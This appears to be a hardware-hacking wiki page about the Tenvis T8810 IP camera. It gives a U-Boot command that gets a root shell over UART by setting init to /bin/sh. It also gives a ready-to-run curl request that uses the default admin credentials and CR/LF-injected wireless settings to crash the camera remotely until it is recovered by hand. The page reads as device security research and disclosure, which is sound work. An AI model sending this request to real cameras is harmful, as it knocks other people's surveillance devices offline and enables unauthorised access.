Tenvis T8810

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Tenvis T8810

Purchase

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UART Root

The UART interface on this device is located on the main board, above the power connector [pictured], and runs at 115200, 8n1 and auto boots to a Linux kernel after a three second delay in U-Boot. A root shell can be accessed by interrupting auto boot and hijacking the init environment variable, setting it to /bin/sh, as seen below:

setenv bootargs console=${consoledev},${baudrate} noinitrd mem=${mem} rw ${rootfstype} init=/bin/sh ;sf probe 0 0;sf read ${loadaddr} ${sfkernel} ${filesize}; bootm

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Remote Denial of Service

WARNING

This will leave your device in an unusable state until recovered via UART. Proceed at your own peril.

Sending the following request will cause the device to crash, and remain in an inoperable state until recovered.

curl 'http://192.168.1.88/cgi-bin/hi3510/param.cgi' -H 'Authorization: Basic YWRtaW46YWRtaW4=' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Connection: keep-alive' --data 'cmd=setwirelessattr&cururl=http%3A%2F%2F192.168.1.88%2Fwifi.html&-wf_ssid=%0Assidgoesheres%0D&-wf_auth=3&-wf_mode=%0Dabcdef&-wf_enc=0&-wf_enable=1&-wf_key=key12345' --compressed​